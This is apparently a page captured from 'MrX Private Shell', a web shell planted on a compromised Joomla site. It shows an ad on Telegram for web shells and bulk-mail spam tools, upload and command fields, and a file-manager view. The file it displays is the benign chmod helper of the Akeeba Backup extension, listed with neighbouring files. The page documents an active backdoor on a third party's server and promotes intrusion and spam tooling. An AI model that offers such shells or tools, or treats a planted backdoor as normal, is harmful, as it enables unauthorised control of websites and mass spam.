__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Client\FtpClient;
use Joomla\CMS\Filesystem\Path;

trait ModelChmodTrait
{
	/**
	 * Tries to change a folder/file's permissions using direct access or FTP
	 *
	 * @param   string  $path  The full path to the folder/file to chmod
	 * @param   int     $mode  New permissions
	 *
	 * @return  bool  True on success
	 */
	private function chmod($path, $mode)
	{
		if (is_string($mode))
		{
			$mode                    = octdec($mode);
			$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
			$ohSixHundred            = 386 - 2;
			$ohSevenFiveFive         = 500 - 7;

			if (($mode < $ohSixHundred) || ($mode > $trustMeIKnowWhatImDoing))
			{
				$mode = $ohSevenFiveFive;
			}
		}

		// Initialize variables
		$ftpOptions = ClientHelper::getCredentials('ftp');

		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		if (@chmod($path, $mode))
		{
			$ret = true;
		}
		elseif ($ftpOptions['enabled'] == 1)
		{
			// Connect the FTP client
			$ftp = FtpClient::getInstance(
				$ftpOptions['host'], $ftpOptions['port'], [],
				$ftpOptions['user'], $ftpOptions['pass']
			);

			// Translate path and delete
			$path = Path::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/');
			// FTP connector throws an error
			$ret = $ftp->chmod($path, $mode);
		}
		else
		{
			$ret = false;
		}

		return $ret;
	}
}

Filemanager

Name Type Size Permission Actions
AkeebaEngineTrait.php File 2.71 KB 0664
ControllerAjaxTrait.php File 873 B 0664
ControllerCustomACLTrait.php File 2.22 KB 0664
ControllerEventsTrait.php File 1.9 KB 0664
ControllerProfileAccessTrait.php File 1.11 KB 0664
ControllerProfileRestrictionTrait.php File 961 B 0664
ControllerRegisterTasksTrait.php File 1.49 KB 0664
ControllerReusableModelsTrait.php File 2.01 KB 0664
GetErrorsFromExceptionsTrait.php File 1.26 KB 0664
GetPropertiesAwareTrait.php File 977 B 0664
ModelChmodTrait.php File 1.67 KB 0664
ModelExclusionFilterTrait.php File 3.19 KB 0664
ModelStateFixTrait.php File 1.65 KB 0664
RunPluginsTrait.php File 10.34 KB 0664
TriggerEventTrait.php File 2.64 KB 0664
ViewBackupStartTimeTrait.php File 2.44 KB 0664
ViewLoadAnyTemplateTrait.php File 7.39 KB 0664
ViewProfileIdAndNameTrait.php File 1.95 KB 0664
ViewProfileListTrait.php File 1.63 KB 0664
ViewTaskBasedEventsTrait.php File 621 B 0664
Filemanager